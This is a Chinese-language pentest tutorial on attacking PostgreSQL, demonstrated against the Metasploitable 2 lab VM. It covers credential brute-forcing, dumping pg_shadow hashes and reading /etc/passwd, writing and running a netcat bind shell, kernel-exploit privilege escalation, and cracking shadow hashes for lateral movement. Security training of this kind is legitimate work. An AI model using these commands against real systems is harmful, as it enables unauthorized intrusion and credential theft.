【SQL注入技巧拓展】————11、PostgreSQL滲透測試指南
我之所以寫這篇文章,目的在於為滲透測試人員提供測試PostgreSQL資料庫的具體方法。文章中用來演示的目標系統是Metasploitable 2,因為該系統包含許多漏洞,也存在配置不當問題。
一、前言
PostgreSQL是一個開源資料庫,主要部署於Linux作業系統中。然而,PostgreSQL的相容性非常好,可以相容多個作業系統,也能在Windows及MacOS作業系統上執行。如果PostgreSQL資料庫沒有被正確配置,並且攻擊者已經事先獲取了憑證資訊,那麼他們就可以實施各類攻擊行為,比如讀寫系統檔案以及執行任意程式碼等。
我之所以寫這篇文章,目的在於為滲透測試人員提供測試PostgreSQL資料庫的具體方法。文章中用來演示的目標系統是Metasploitable 2,因為該系統包含許多漏洞,也存在配置不當問題。
二、服務探測及版本識別
PostgreSQL資料庫的預設監聽埠為5432。在埠掃描過程中,如果發現該埠開放,那麼目標主機很有可能安裝了PostgreSQL。
nmap -sV 192.168.100.11 -p 5432
圖1. PostgreSQL:通過Nmap判斷資料庫版本
此外,Metasploit平臺中也有一個模組可以用來識別PostgreSQL資料庫以及具體的版本:
auxiliary/scanner/postgres/postgres_version
三、探測資料庫憑證
在共享資料夾中發現包含資料庫使用者名稱及密碼的配置檔案並不稀奇,然而,如果目標沒有犯下如此低階的失誤,那麼我們可以使用一個Metasploit模組暴力破解資料庫憑證,如下圖所示:
auxiliary/scanner/postgres/postgres_login
探測資料庫憑證是非常關鍵的一個步驟,如果沒有掌握正確的憑證,我們很難突破目標主機,因為大多數攻擊操作都需要訪問資料庫。
四、訪問資料庫
Kali Linux系統中預設包含了psql工具,在已知資料庫使用者名稱及密碼的前提下,我們可以使用這個工具通過PostgreSQL資料的認證過程。命令如下:
psql -h 192.168.100.11 -U postgres
一旦連線上資料庫,我們應該執行如下操作:
1、列舉已有的資料庫。
2、列舉資料庫使用者。
3、列舉資料庫表。
4、讀取表內容。
5、讀取資料庫密碼。
6、匯出資料庫內容。
我們可以使用如下命令完成上述任務:
- postgres-# \l
- postgres-# \du
- template1=# \dt
- template1=# SELECT * FROM users;
- postgres-# SELECT usename, passwd FROM pg_shadow;
- pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
我們也可以使用Metasploit完成上述部分任務。命令如下:
auxiliary/admin/postgres/postgres_sql 、
auxiliary/scanner/postgres/postgres_hashdump
五、命令執行
PostgreSQL資料庫能夠與底層系統互動,這樣資料庫管理員就能執行各種資料庫命令,同時也能從系統中讀取輸出結果。
postgres=# select pg_ls_dir('./');
執行如下命令,我們就能讀取服務端的postgres檔案。
postgres=# select pg_read_file('PG_VERSION', 0, 200);
我們也可以建立一個數據表,以便儲存及檢視目標主機中已有的某個檔案。命令如下:
postgres-# CREATE TABLE temp(t TEXT);
postgres-# COPY temp FROM '/etc/passwd';
postgres-# SELECT * FROM temp limit 1 offset 0;
Metasploit框架中有個模組,可以自動化讀取本地檔案,命令如下:
auxiliary/admin/postgres/postgres_readfile
除了讀取檔案內容外,我們也可以使用PostgreSQL往目標主機中寫入檔案,比如我們可以寫入bash檔案,用來監聽某個隨機埠:
postgres=# CREATE TABLE pentestlab (t TEXT);
postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
postgres=# SELECT * FROM pentestlab;
postgres=# COPY pentestlab(t) TO '/tmp/pentestlab';
當然我們需要賦予該檔案可執行許可權
chmod +x pentestlab
./pentestlab
使用Netcat成功建立連線:
nc -vn 192.168.100.11 2346
python -c "import pty;pty.spawn('/bin/bash')"
如果postgres服務賬戶具備/tmp目錄的寫入許可權,那麼我們可以通過使用者自定義函式(UDF,user defined functions)實現任意程式碼執行。
exploit/linux/postgres/postgres_payload
六、許可權提升
如果我們通過已獲取的資料庫憑證或其他方法獲得對目標主機的訪問許可權,那麼接下來我們應當嘗試將已有許可權提升至root許可權。當然,我們在Linux系統中可以有各種方法實現許可權提升,並且這也是比較複雜的一個過程,但為了不偏離本文的主題,我們使用某個核心漏洞完成許可權提升任務。
儘可能完整地獲取核心版本以及作業系統的全部資訊有助於我們發現系統存在哪些漏洞,命令如下:
[email protected]:/# uname -a
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
根據上述核心版本資訊,我們可以在exploitdb中搜索對應版本是否存在本地漏洞利用程式碼,這也是目前最為簡單的一種方法。
我們可以在本地或者遠端系統中編譯這段利用程式碼。
這個漏洞利用程式需要在/tmp目錄中建立一個run檔案。當漏洞利用程式碼執行時就會執行這個檔案,我們可以通過該檔案監聽某個埠。
#!/bin/bash
nc -lvvp 2345 -e /bin/bash
需要賦予該檔案可執行許可權。
chmod +x /tmp/run
我們可以通過如下命令,建立與該埠的連線,然後獲得root許可權下的python shell介面。
nc -vn 192.168.100.11 2345
python -c "import pty;pty.spawn('/bin/bash')"
我們可以使用Metasploit平臺自動完成上述過程。因此當我們發現目標主機存在某個漏洞時,我們可以嘗試在Metasploit中搜索是否有個匹配的模組可以使用:
當漏洞利用程式碼執行時,我們可以得到另一個具備root使用者許可權的Meterpreter會話:
即使我們已經獲得了root訪問許可權,我們最好還是從shadow檔案中讀取所有使用者的密碼雜湊,以便後續破解這些雜湊值。通過這些雜湊值,滲透測試人員可以發現存在弱口令的賬戶,也很有可能借助其中某些賬戶訪問同一網路中的其他系統。
我們可以將密碼雜湊值儲存到一個文字檔案中,然後使用John the Ripper工具破解這些雜湊:
john /root/Desktop/password.txt
john --show /root/Desktop/password.txt
上述命令可以顯示已被成功破解的密碼雜湊值。
現在,這個Linux系統中的所有賬戶已被我們破解,我們可以使用這些賬戶訪問其他系統。